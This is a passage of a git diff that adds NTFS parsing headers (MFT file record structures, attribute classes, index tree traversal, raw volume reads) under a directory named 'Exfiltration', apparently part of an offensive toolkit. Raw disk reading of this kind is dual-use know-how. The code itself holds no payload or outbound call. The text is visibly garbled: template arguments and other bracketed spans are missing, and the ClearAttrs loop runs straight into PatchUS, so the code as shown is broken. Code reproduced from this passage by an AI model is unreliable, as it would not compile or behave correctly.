LCN_MFTMirr; + DWORD ClustersPerFileRecord; + DWORD ClustersPerIndexBlock; + BYTE VolumeSN[8]; + + // boot code + BYTE Code[430]; + + //0xAA55 + BYTE _AA; + BYTE _55; +} NTFS_BPB; +#pragma pack() + + +// MFT Indexes +#define MFT_IDX_MFT 0 +#define MFT_IDX_MFT_MIRR 1 +#define MFT_IDX_LOG_FILE 2 +#define MFT_IDX_VOLUME 3 +#define MFT_IDX_ATTR_DEF 4 +#define MFT_IDX_ROOT 5 +#define MFT_IDX_BITMAP 6 +#define MFT_IDX_BOOT 7 +#define MFT_IDX_BAD_CLUSTER 8 +#define MFT_IDX_SECURE 9 +#define MFT_IDX_UPCASE 10 +#define MFT_IDX_EXTEND 11 +#define MFT_IDX_RESERVED12 12 +#define MFT_IDX_RESERVED13 13 +#define MFT_IDX_RESERVED14 14 +#define MFT_IDX_RESERVED15 15 +#define MFT_IDX_USER 16 + + +/****************************** + File Record + --------------------- + | File Record Header| + --------------------- + | Attribute 1 | + --------------------- + | Attribute 2 | + --------------------- + | ...... | + --------------------- + | 0xFFFFFFFF | + --------------------- +*******************************/ + +// File Record Header + +#define FILE_RECORD_MAGIC 'ELIF' +#define FILE_RECORD_FLAG_INUSE 0x01 // File record is in use +#define FILE_RECORD_FLAG_DIR 0x02 // File record is a directory + +typedef struct tagFILE_RECORD_HEADER +{ + DWORD Magic; // "FILE" + WORD OffsetOfUS; // Offset of Update Sequence + WORD SizeOfUS; // Size in words of Update Sequence Number & Array + ULONGLONG LSN; // $LogFile Sequence Number + WORD SeqNo; // Sequence number + WORD Hardlinks; // Hard link count + WORD OffsetOfAttr; // Offset of the first Attribute + WORD Flags; // Flags + DWORD RealSize; // Real size of the FILE record + DWORD AllocSize; // Allocated size of the FILE record + ULONGLONG RefToBase; // File reference to the base FILE record + WORD NextAttrId; // Next Attribute Id + WORD Align; // Align to 4 byte boundary + DWORD RecordNo; // Number of this MFT Record +} FILE_RECORD_HEADER; + + +/****************************** + Attribute + -------------------- + | Attribute Header | + -------------------- + | Attribute Data | + -------------------- +*******************************/ + +// Attribute Header + +#define ATTR_TYPE_STANDARD_INFORMATION 0x10 +#define ATTR_TYPE_ATTRIBUTE_LIST 0x20 +#define ATTR_TYPE_FILE_NAME 0x30 +#define ATTR_TYPE_OBJECT_ID 0x40 +#define ATTR_TYPE_SECURITY_DESCRIPTOR 0x50 +#define ATTR_TYPE_VOLUME_NAME 0x60 +#define ATTR_TYPE_VOLUME_INFORMATION 0x70 +#define ATTR_TYPE_DATA 0x80 +#define ATTR_TYPE_INDEX_ROOT 0x90 +#define ATTR_TYPE_INDEX_ALLOCATION 0xA0 +#define ATTR_TYPE_BITMAP 0xB0 +#define ATTR_TYPE_REPARSE_POINT 0xC0 +#define ATTR_TYPE_EA_INFORMATION 0xD0 +#define ATTR_TYPE_EA 0xE0 +#define ATTR_TYPE_LOGGED_UTILITY_STREAM 0x100 + +#define ATTR_FLAG_COMPRESSED 0x0001 +#define ATTR_FLAG_ENCRYPTED 0x4000 +#define ATTR_FLAG_SPARSE 0x8000 + +typedef struct tagATTR_HEADER_COMMON +{ + DWORD Type; // Attribute Type + DWORD TotalSize; // Length (including this header) + BYTE NonResident; // 0 - resident, 1 - non resident + BYTE NameLength; // name length in words + WORD NameOffset; // offset to the name + WORD Flags; // Flags + WORD Id; // Attribute Id +} ATTR_HEADER_COMMON; + +typedef struct tagATTR_HEADER_RESIDENT +{ + ATTR_HEADER_COMMON Header; // Common data structure + DWORD AttrSize; // Length of the attribute body + WORD AttrOffset; // Offset to the Attribute + BYTE IndexedFlag; // Indexed flag + BYTE Padding; // Padding +} ATTR_HEADER_RESIDENT; + +typedef struct tagATTR_HEADER_NON_RESIDENT +{ + ATTR_HEADER_COMMON Header; // Common data structure + ULONGLONG StartVCN; // Starting VCN + ULONGLONG LastVCN; // Last VCN + WORD DataRunOffset; // Offset to the Data Runs + WORD CompUnitSize; // Compression unit size + DWORD Padding; // Padding + ULONGLONG AllocSize; // Allocated size of the attribute + ULONGLONG RealSize; // Real size of the attribute + ULONGLONG IniSize; // Initialized data size of the stream +} ATTR_HEADER_NON_RESIDENT; + + +// Attribute: STANDARD_INFORMATION + +#define ATTR_STDINFO_PERMISSION_READONLY 0x00000001 +#define ATTR_STDINFO_PERMISSION_HIDDEN 0x00000002 +#define ATTR_STDINFO_PERMISSION_SYSTEM 0x00000004 +#define ATTR_STDINFO_PERMISSION_ARCHIVE 0x00000020 +#define ATTR_STDINFO_PERMISSION_DEVICE 0x00000040 +#define ATTR_STDINFO_PERMISSION_NORMAL 0x00000080 +#define ATTR_STDINFO_PERMISSION_TEMP 0x00000100 +#define ATTR_STDINFO_PERMISSION_SPARSE 0x00000200 +#define ATTR_STDINFO_PERMISSION_REPARSE 0x00000400 +#define ATTR_STDINFO_PERMISSION_COMPRESSED 0x00000800 +#define ATTR_STDINFO_PERMISSION_OFFLINE 0x00001000 +#define ATTR_STDINFO_PERMISSION_NCI 0x00002000 +#define ATTR_STDINFO_PERMISSION_ENCRYPTED 0x00004000 + +typedef struct tagATTR_STANDARD_INFORMATION +{ + ULONGLONG CreateTime; // File creation time + ULONGLONG AlterTime; // File altered time + ULONGLONG MFTTime; // MFT changed time + ULONGLONG ReadTime; // File read time + DWORD Permission; // Dos file permission + DWORD MaxVersionNo; // Maxim number of file versions + DWORD VersionNo; // File version number + DWORD ClassId; // Class Id + DWORD OwnerId; // Owner Id + DWORD SecurityId; // Security Id + ULONGLONG QuotaCharged; // Quota charged + ULONGLONG USN; // USN Journel +} ATTR_STANDARD_INFORMATION; + + +// Attribute: ATTRIBUTE_LIST + +typedef struct tagATTR_ATTRIBUTE_LIST +{ + DWORD AttrType; // Attribute type + WORD RecordSize; // Record length + BYTE NameLength; // Name length in characters + BYTE NameOffset; // Name offset + ULONGLONG StartVCN; // Start VCN + ULONGLONG BaseRef; // Base file reference to the attribute + WORD AttrId; // Attribute Id +} ATTR_ATTRIBUTE_LIST; + +// Attribute: FILE_NAME + +#define ATTR_FILENAME_FLAG_READONLY 0x00000001 +#define ATTR_FILENAME_FLAG_HIDDEN 0x00000002 +#define ATTR_FILENAME_FLAG_SYSTEM 0x00000004 +#define ATTR_FILENAME_FLAG_ARCHIVE 0x00000020 +#define ATTR_FILENAME_FLAG_DEVICE 0x00000040 +#define ATTR_FILENAME_FLAG_NORMAL 0x00000080 +#define ATTR_FILENAME_FLAG_TEMP 0x00000100 +#define ATTR_FILENAME_FLAG_SPARSE 0x00000200 +#define ATTR_FILENAME_FLAG_REPARSE 0x00000400 +#define ATTR_FILENAME_FLAG_COMPRESSED 0x00000800 +#define ATTR_FILENAME_FLAG_OFFLINE 0x00001000 +#define ATTR_FILENAME_FLAG_NCI 0x00002000 +#define ATTR_FILENAME_FLAG_ENCRYPTED 0x00004000 +#define ATTR_FILENAME_FLAG_DIRECTORY 0x10000000 +#define ATTR_FILENAME_FLAG_INDEXVIEW 0x20000000 + +#define ATTR_FILENAME_NAMESPACE_POSIX 0x00 +#define ATTR_FILENAME_NAMESPACE_WIN32 0x01 +#define ATTR_FILENAME_NAMESPACE_DOS 0x02 + +typedef struct tagATTR_FILE_NAME +{ + ULONGLONG ParentRef; // File reference to the parent directory + ULONGLONG CreateTime; // File creation time + ULONGLONG AlterTime; // File altered time + ULONGLONG MFTTime; // MFT changed time + ULONGLONG ReadTime; // File read time + ULONGLONG AllocSize; // Allocated size of the file + ULONGLONG RealSize; // Real size of the file + DWORD Flags; // Flags + DWORD ER; // Used by EAs and Reparse + BYTE NameLength; // Filename length in characters + BYTE NameSpace; // Filename space + WORD Name[1]; // Filename +} ATTR_FILE_NAME; + + +// Attribute: VOLUME_INFORMATION + +#define ATTR_VOLINFO_FLAG_DIRTY 0x0001 // Dirty +#define ATTR_VOLINFO_FLAG_RLF 0x0002 // Resize logfile +#define ATTR_VOLINFO_FLAG_UOM 0x0004 // Upgrade on mount +#define ATTR_VOLINFO_FLAG_MONT 0x0008 // Mounted on NT4 +#define ATTR_VOLINFO_FLAG_DUSN 0x0010 // Delete USN underway +#define ATTR_VOLINFO_FLAG_ROI 0x0020 // Repair object Ids +#define ATTR_VOLINFO_FLAG_MBC 0x8000 // Modified by chkdsk + +typedef struct tagATTR_VOLUME_INFORMATION +{ + BYTE Reserved1[8]; // Always 0 ? + BYTE MajorVersion; // Major version + BYTE MinorVersion; // Minor version + WORD Flags; // Flags + BYTE Reserved2[4]; // Always 0 ? +} ATTR_VOLUME_INFORMATION; + + +// Attribute: INDEX_ROOT +/****************************** + INDEX_ROOT + --------------------- + | Index Root Header | + --------------------- + | Index Header | + --------------------- + | Index Entry | + --------------------- + | Index Entry | + --------------------- + | ...... | + --------------------- +*******************************/ + +#define ATTR_INDEXROOT_FLAG_SMALL 0x00 // Fits in Index Root File Record +#define ATTR_INDEXROOT_FLAG_LARGE 0x01 // Index Allocation and Bitmap needed + +typedef struct tagATTR_INDEX_ROOT +{ + // Index Root Header + DWORD AttrType; // Attribute type (ATTR_TYPE_FILE_NAME: Directory, 0: Index View) + DWORD CollRule; // Collation rule + DWORD IBSize; // Size of index block + BYTE ClustersPerIB; // Clusters per index block (same as BPB?) + BYTE Padding1[3]; // Padding + // Index Header + DWORD EntryOffset; // Offset to the first index entry, relative to this address(0x10) + DWORD TotalEntrySize; // Total size of the index entries + DWORD AllocEntrySize; // Allocated size of the index entries + BYTE Flags; // Flags + BYTE Padding2[3]; // Padding +} ATTR_INDEX_ROOT; + + +// INDEX ENTRY + +#define INDEX_ENTRY_FLAG_SUBNODE 0x01 // Index entry points to a sub-node +#define INDEX_ENTRY_FLAG_LAST 0x02 // Last index entry in the node, no Stream + +typedef struct tagINDEX_ENTRY +{ + ULONGLONG FileReference; // Low 6B: MFT record index, High 2B: MFT record sequence number + WORD Size; // Length of the index entry + WORD StreamSize; // Length of the stream + BYTE Flags; // Flags + BYTE Padding[3]; // Padding + BYTE Stream[1]; // Stream + // VCN of the sub node in Index Allocation, Offset = Size - 8 +} INDEX_ENTRY; + + +// INDEX BLOCK +/****************************** + INDEX_BLOCK + ----------------------- + | Index Block Header | + ----------------------- + | Index Header | + ----------------------- + | Index Entry | + ----------------------- + | Index Entry | + ----------------------- + | ...... | + ----------------------- +*******************************/ + +#define INDEX_BLOCK_MAGIC 'XDNI' + +typedef struct tagINDEX_BLOCK +{ + // Index Block Header + DWORD Magic; // "INDX" + WORD OffsetOfUS; // Offset of Update Sequence + WORD SizeOfUS; // Size in words of Update Sequence Number & Array + ULONGLONG LSN; // $LogFile Sequence Number + ULONGLONG VCN; // VCN of this index block in the index allocation + // Index Header + DWORD EntryOffset; // Offset of the index entries, relative to this address(0x18) + DWORD TotalEntrySize; // Total size of the index entries + DWORD AllocEntrySize; // Allocated size of index entries + BYTE NotLeaf; // 1 if not leaf node (has children) + BYTE Padding[3]; // Padding +} INDEX_BLOCK; + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_FileRecord.h b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_FileRecord.h new file mode 100644 index 00000000..5a232ff5 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_FileRecord.h @@ -0,0 +1,989 @@ +/* + * NTFS Volume and File Record Class + * + * Copyright(C) 2010 cyb70289 + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_FILERECORD_H_CYB70289 +#define __NTFS_FILERECORD_H_CYB70289 + + +/////////////////////////////////////// +// NTFS Volume forward declaration +/////////////////////////////////////// +class CNTFSVolume +{ +public: + CNTFSVolume(_TCHAR volume); + virtual ~CNTFSVolume(); + + friend class CFileRecord; + friend class CAttrBase; + +private: + WORD SectorSize; + DWORD ClusterSize; + DWORD FileRecordSize; + DWORD IndexBlockSize; + ULONGLONG MFTAddr; + HANDLE hVolume; + BOOL VolumeOK; + ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS]; + WORD Version; + + // MFT file records ($MFT file itself) may be fragmented + // Get $MFT Data attribute to translate FileRecord to correct disk offset + CFileRecord *MFTRecord; // $MFT File Record + const CAttrBase *MFTData; // $MFT Data Attribute + + BOOL OpenVolume(_TCHAR volume); + +public: + __inline BOOL IsVolumeOK() const; + __inline WORD GetVersion() const; + __inline ULONGLONG GetRecordsCount() const; + + __inline DWORD GetSectorSize() const; + __inline DWORD GetClusterSize() const; + __inline DWORD GetFileRecordSize() const; + __inline DWORD GetIndexBlockSize() const; + __inline ULONGLONG GetMFTAddr() const; + + BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb); + __inline void ClearAttrRawCB(); +}; // CNTFSVolume + + +//////////////////////////////////////////// +// List to hold Attributes of the same type +//////////////////////////////////////////// +typedef class CSList CAttrList; + +// It seems VC6.0 doesn't support template class friends +#if _MSC_VER <= 1200 +class CAttrResident; +class CAttrNonResident; +template class CAttr_AttrList; +#endif + +//////////////////////////////// +// Process a single File Record +//////////////////////////////// +class CFileRecord +{ +public: + CFileRecord(const CNTFSVolume *volume); + virtual ~CFileRecord(); + + friend class CAttrBase; +#if _MSC_VER <= 1200 + // Walk around VC6.0 compiler defect + friend class CAttr_AttrList; + friend class CAttr_AttrList; +#else + template friend class CAttr_AttrList; // Won't compiler in VC6.0, why? +#endif + +private: + const CNTFSVolume *Volume; + FILE_RECORD_HEADER *FileRecord; + ULONGLONG FileReference; + ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS]; + DWORD AttrMask; + CAttrList AttrList[ATTR_NUMS]; // Attributes + + void ClearAttrs(); + BOOL PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray); + __inline void UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard); + CAttrBase* AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled); + BOOL ParseAttr(ATTR_HEADER_COMMON *ahc); + FILE_RECORD_HEADER* ReadFileRecord(ULONGLONG &fileRef); + BOOL VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const; + void TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const; + +public: + BOOL ParseFileRecord(ULONGLONG fileRef); + BOOL ParseAttrs(); + + BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb); + __inline void ClearAttrRawCB(); + + __inline void SetAttrMask(DWORD mask); + void TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context); + __inline const CAttrBase* FindFirstAttr(DWORD attrType) const; + const CAttrBase* FindNextAttr(DWORD attrType) const; + + int GetFileName(_TCHAR *buf, DWORD bufLen) const; + __inline ULONGLONG GetFileSize() const; + void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const; + + void TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const; + __inline const BOOL FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const; + const CAttrBase* FindStream(_TCHAR *name = NULL); + + __inline BOOL IsDeleted() const; + __inline BOOL IsDirectory() const; + __inline BOOL IsReadOnly() const; + __inline BOOL IsHidden() const; + __inline BOOL IsSystem() const; + __inline BOOL IsCompressed() const; + __inline BOOL IsEncrypted() const; + __inline BOOL IsSparse() const; +}; // CFileRecord + + +#include "NTFS_Attribute.h" + + +CFileRecord::CFileRecord(const CNTFSVolume *volume) +{ + _ASSERT(volume); + Volume = volume; + FileRecord = NULL; + FileReference = (ULONGLONG)-1; + + ClearAttrRawCB(); + + // Default to parse all attributes + AttrMask = MASK_ALL; +} + +CFileRecord::~CFileRecord() +{ + ClearAttrs(); + + if (FileRecord) + delete FileRecord; +} + +// Free all CAttr_xxx +void CFileRecord::ClearAttrs() +{ + for (int i=0; iSectorSize>>1) - 1); + if (*sector != usn) + return FALSE; // USN error + *sector = usarray[i]; // Write back correct data + sector++; + } + return TRUE; +} + +// Call user defined Callback routines for an attribute +__inline void CFileRecord::UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard) +{ + *bDiscard = FALSE; + + if (AttrRawCallBack[attType]) + AttrRawCallBack[attType](ahc, bDiscard); + else if (Volume->AttrRawCallBack[attType]) + Volume->AttrRawCallBack[attType](ahc, bDiscard); +} + +CAttrBase* CFileRecord::AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled) +{ + switch (ahc->Type) + { + case ATTR_TYPE_STANDARD_INFORMATION: + return new CAttr_StdInfo(ahc, this); + + case ATTR_TYPE_ATTRIBUTE_LIST: + if (ahc->NonResident) + return new CAttr_AttrList(ahc, this); + else + return new CAttr_AttrList(ahc, this); + + case ATTR_TYPE_FILE_NAME: + return new CAttr_FileName(ahc, this); + + case ATTR_TYPE_VOLUME_NAME: + return new CAttr_VolName(ahc, this); + + case ATTR_TYPE_VOLUME_INFORMATION: + return new CAttr_VolInfo(ahc, this); + + case ATTR_TYPE_DATA: + if (ahc->NonResident) + return new CAttr_Data(ahc, this); + else + return new CAttr_Data(ahc, this); + + case ATTR_TYPE_INDEX_ROOT: + return new CAttr_IndexRoot(ahc, this); + + case ATTR_TYPE_INDEX_ALLOCATION: + return new CAttr_IndexAlloc(ahc, this); + + case ATTR_TYPE_BITMAP: + if (ahc->NonResident) + return new CAttr_Bitmap(ahc, this); + else + // Resident Bitmap may exist in a directory's FileRecord + // or in $MFT for a very small volume in theory + return new CAttr_Bitmap(ahc, this); + + // Unhandled Attributes + default: + *bUnhandled = TRUE; + if (ahc->NonResident) + return new CAttrNonResident(ahc, this); + else + return new CAttrResident(ahc, this); + } +} + +// Parse a single Attribute +// Return False on error +BOOL CFileRecord::ParseAttr(ATTR_HEADER_COMMON *ahc) +{ + DWORD attrIndex = ATTR_INDEX(ahc->Type); + if (attrIndex < ATTR_NUMS) + { + BOOL bDiscard = FALSE; + UserCallBack(attrIndex, ahc, &bDiscard); + + if (!bDiscard) + { + BOOL bUnhandled = FALSE; + CAttrBase *attr = AllocAttr(ahc, &bUnhandled); + if (attr) + { + if (bUnhandled) + { + NTFS_TRACE1("Unhandled attribute: 0x%04X\n", ahc->Type); + } + AttrList[attrIndex].InsertEntry(attr); + return TRUE; + } + else + { + NTFS_TRACE1("Attribute Parse error: 0x%04X\n", ahc->Type); + return FALSE; + } + } + else + { + NTFS_TRACE1("User Callback has processed this Attribute: 0x%04X\n", ahc->Type); + return TRUE; + } + } + else + { + NTFS_TRACE1("Invalid Attribute Type: 0x%04X\n", ahc->Type); + return FALSE; + } +} + +// Read File Record +FILE_RECORD_HEADER* CFileRecord::ReadFileRecord(ULONGLONG &fileRef) +{ + FILE_RECORD_HEADER *fr = NULL; + DWORD len; + + if (fileRef < MFT_IDX_USER || Volume->MFTData == NULL) + { + // Take as continuous disk allocation + LARGE_INTEGER frAddr; + frAddr.QuadPart = Volume->MFTAddr + (Volume->FileRecordSize) * fileRef; + frAddr.LowPart = SetFilePointer(Volume->hVolume, frAddr.LowPart, &frAddr.HighPart, FILE_BEGIN); + + if (frAddr.LowPart == DWORD(-1) && GetLastError() != NO_ERROR) + return FALSE; + else + { + fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize]; + + if (ReadFile(Volume->hVolume, fr, Volume->FileRecordSize, &len, NULL) + && len==Volume->FileRecordSize) + return fr; + else + { + delete fr; + return NULL; + } + } + } + else + { + // May be fragmented $MFT + ULONGLONG frAddr; + frAddr = (Volume->FileRecordSize) * fileRef; + + fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize]; + + if (Volume->MFTData->ReadData(frAddr, fr, Volume->FileRecordSize, &len) + && len == Volume->FileRecordSize) + return fr; + else + { + delete fr; + return NULL; + } + } +} + +// Read File Record, verify and patch the US (update sequence) +BOOL CFileRecord::ParseFileRecord(ULONGLONG fileRef) +{ + // Clear previous data + ClearAttrs(); + if (FileRecord) + { + delete FileRecord; + FileRecord = NULL; + } + + FILE_RECORD_HEADER *fr = ReadFileRecord(fileRef); + if (fr == NULL) + { + NTFS_TRACE1("Cannot read file record %I64u\n", fileRef); + + FileReference = (ULONGLONG)-1; + } + else + { + FileReference = fileRef; + + if (fr->Magic == FILE_RECORD_MAGIC) + { + // Patch US + WORD *usnaddr = (WORD*)((BYTE*)fr + fr->OffsetOfUS); + WORD usn = *usnaddr; + WORD *usarray = usnaddr + 1; + if (PatchUS((WORD*)fr, Volume->FileRecordSize/Volume->SectorSize, usn, usarray)) + { + NTFS_TRACE1("File Record %I64u Found\n", fileRef); + FileRecord = fr; + + return TRUE; + } + else + { + NTFS_TRACE("Update Sequence Number error\n"); + } + } + else + { + NTFS_TRACE("Invalid file record\n"); + } + + delete fr; + } + + return FALSE; +} + +// Visit IndexBlocks recursivly to find a specific FileName +BOOL CFileRecord::VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const +{ + CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION); + if (ia == NULL) + return FALSE; + + CIndexBlock ib; + if (ia->ParseIndexBlock(vcn, ib)) + { + CIndexEntry *ie = ib.FindFirstEntry(); + while (ie) + { + if (ie->HasName()) + { + // Compare name + int i = ie->Compare(fileName); + if (i == 0) + { + ieFound = *ie; + return TRUE; + } + else if (i < 0) // fileName is smaller than IndexEntry + { + // Visit SubNode + if (ie->IsSubNodePtr()) + { + // Search in SubNode (IndexBlock), recursive call + if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound)) + return TRUE; + } + else + return FALSE; // not found + } + // Just step forward if fileName is bigger than IndexEntry + } + else if (ie->IsSubNodePtr()) + { + // Search in SubNode (IndexBlock), recursive call + if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound)) + return TRUE; + } + + ie = ib.FindNextEntry(); + } + } + + return FALSE; +} + +// Traverse SubNode recursivly in ascending order +// Call user defined callback routine once found an subentry +void CFileRecord::TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const +{ + CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION); + if (ia == NULL) + return; + + CIndexBlock ib; + if (ia->ParseIndexBlock(vcn, ib)) + { + CIndexEntry *ie = ib.FindFirstEntry(); + while (ie) + { + if (ie->IsSubNodePtr()) + TraverseSubNode(ie->GetSubNodeVCN(), seCallBack); // recursive call + + if (ie->HasName()) + seCallBack(ie); + + ie = ib.FindNextEntry(); + } + } +} + +// Parse all the attributes in a File Record +// And insert them into a link list +BOOL CFileRecord::ParseAttrs() +{ + _ASSERT(FileRecord); + + // Clear previous data + ClearAttrs(); + + // Visit all attributes + + DWORD dataPtr = 0; // guard if data exceeds FileRecordSize bounds + ATTR_HEADER_COMMON *ahc = (ATTR_HEADER_COMMON*)((BYTE*)FileRecord + FileRecord->OffsetOfAttr); + dataPtr += FileRecord->OffsetOfAttr; + + while (ahc->Type != (DWORD)-1 && (dataPtr+ahc->TotalSize) <= Volume->FileRecordSize) + { + if (ATTR_MASK(ahc->Type) & AttrMask) // Skip unwanted attributes + { + if (!ParseAttr(ahc)) // Parse error + return FALSE; + + if (IsEncrypted() || IsCompressed()) + { + NTFS_TRACE("Compressed and Encrypted file not supported yet !\n"); + return FALSE; + } + } + + dataPtr += ahc->TotalSize; + ahc = (ATTR_HEADER_COMMON*)((BYTE*)ahc + ahc->TotalSize); // next attribute + } + + return TRUE; +} + +// Install Attribute raw data CallBack routines for a single File Record +BOOL CFileRecord::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb) +{ + DWORD atIdx = ATTR_INDEX(attrType); + if (atIdx < ATTR_NUMS) + { + AttrRawCallBack[atIdx] = cb; + return TRUE; + } + else + return FALSE; +} + +// Clear all Attribute CallBack routines +__inline void CFileRecord::ClearAttrRawCB() +{ + for (int i = 0; i < ATTR_NUMS; i ++) + AttrRawCallBack[i] = NULL; +} + +// Choose attributes to handle, unwanted attributes will be discarded silently +__inline void CFileRecord::SetAttrMask(DWORD mask) +{ + // Standard Information and Attribute List is needed always + AttrMask = mask | MASK_STANDARD_INFORMATION | MASK_ATTRIBUTE_LIST; +} + +// Traverse all Attribute and return CAttr_xxx classes to User Callback routine +void CFileRecord::TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context) +{ + _ASSERT(attrCallBack); + + for (int i = 0; i < ATTR_NUMS; i ++) + { + if (AttrMask & (((DWORD)1)<IsWin32Name()) + { + int len = fn->GetFileName(buf, bufLen); + if (len != 0) + return len; // success or fail + } + + fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindNextEntry(); + } + + return 0; +} + +// Get File Size +__inline ULONGLONG CFileRecord::GetFileSize() const +{ + CAttr_FileName *fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindFirstEntry(); + return fn ? fn->GetFileSize() : 0; +} + +// Get File Times +void CFileRecord::GetFileTime(FILETIME *writeTm, FILETIME *createTm, FILETIME *accessTm) const +{ + // Standard Information attribute hold the most updated file time + CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + if (si) + si->GetFileTime(writeTm, createTm, accessTm); + else + { + writeTm->dwHighDateTime = 0; + writeTm->dwLowDateTime = 0; + if (createTm) + { + createTm->dwHighDateTime = 0; + createTm->dwLowDateTime = 0; + } + if (accessTm) + { + accessTm->dwHighDateTime = 0; + accessTm->dwLowDateTime = 0; + } + } +} + +// Traverse all sub directories and files contained +// Call user defined callback routine once found an entry +void CFileRecord::TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const +{ + _ASSERT(seCallBack); + + // Start traversing from IndexRoot (B+ tree root node) + + CAttr_IndexRoot* ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT); + if (ir == NULL || !ir->IsFileName()) + return; + + CIndexEntryList *ieList = (CIndexEntryList*)ir; + CIndexEntry *ie = ieList->FindFirstEntry(); + while (ie) + { + // Visit subnode first + if (ie->IsSubNodePtr()) + TraverseSubNode(ie->GetSubNodeVCN(), seCallBack); + + if (ie->HasName()) + seCallBack(ie); + + ie = ieList->FindNextEntry(); + } +} + +// Find a specific FileName from InexRoot described B+ tree +__inline const BOOL CFileRecord::FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const +{ + // Start searching from IndexRoot (B+ tree root node) + CAttr_IndexRoot *ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT); + if (ir == NULL || !ir->IsFileName()) + return FALSE; + + CIndexEntryList *ieList = (CIndexEntryList*)ir; + CIndexEntry *ie = ieList->FindFirstEntry(); + while (ie) + { + if (ie->HasName()) + { + // Compare name + int i = ie->Compare(fileName); + if (i == 0) + { + ieFound = *ie; + return TRUE; + } + else if (i < 0) // fileName is smaller than IndexEntry + { + // Visit SubNode + if (ie->IsSubNodePtr()) + { + // Search in SubNode (IndexBlock) + if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound)) + return TRUE; + } + else + return FALSE; // not found + } + // Just step forward if fileName is bigger than IndexEntry + } + else if (ie->IsSubNodePtr()) + { + // Search in SubNode (IndexBlock) + if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound)) + return TRUE; + } + + ie = ieList->FindNextEntry(); + } + + return FALSE; +} + +// Find Data attribute class of +const CAttrBase* CFileRecord::FindStream(_TCHAR *name) +{ + const CAttrBase *data = FindFirstAttr(ATTR_TYPE_DATA); + while (data) + { + if (data->IsUnNamed() && name == NULL) // Unnamed stream + break; + if ((!data->IsUnNamed()) && name) // Named stream + { + _TCHAR an[MAX_PATH]; + if (data->GetAttrName(an, MAX_PATH)) + { + if (_tcscmp(an, name) == 0) + break; + } + } + + data = FindNextAttr(ATTR_TYPE_DATA); + } + + return data; +} + +// Check if it's deleted or in use +__inline BOOL CFileRecord::IsDeleted() const +{ + return !(FileRecord->Flags & FILE_RECORD_FLAG_INUSE); +} + +// Check if it's a directory +__inline BOOL CFileRecord::IsDirectory() const +{ + return FileRecord->Flags & FILE_RECORD_FLAG_DIR; +} + +__inline BOOL CFileRecord::IsReadOnly() const +{ + // Standard Information attribute holds the most updated file time + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsReadOnly() : FALSE; +} + +__inline BOOL CFileRecord::IsHidden() const +{ + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsHidden() : FALSE; +} + +__inline BOOL CFileRecord::IsSystem() const +{ + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsSystem() : FALSE; +} + +__inline BOOL CFileRecord::IsCompressed() const +{ + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsCompressed() : FALSE; +} + +__inline BOOL CFileRecord::IsEncrypted() const +{ + const CAttr_StdInfo *si = 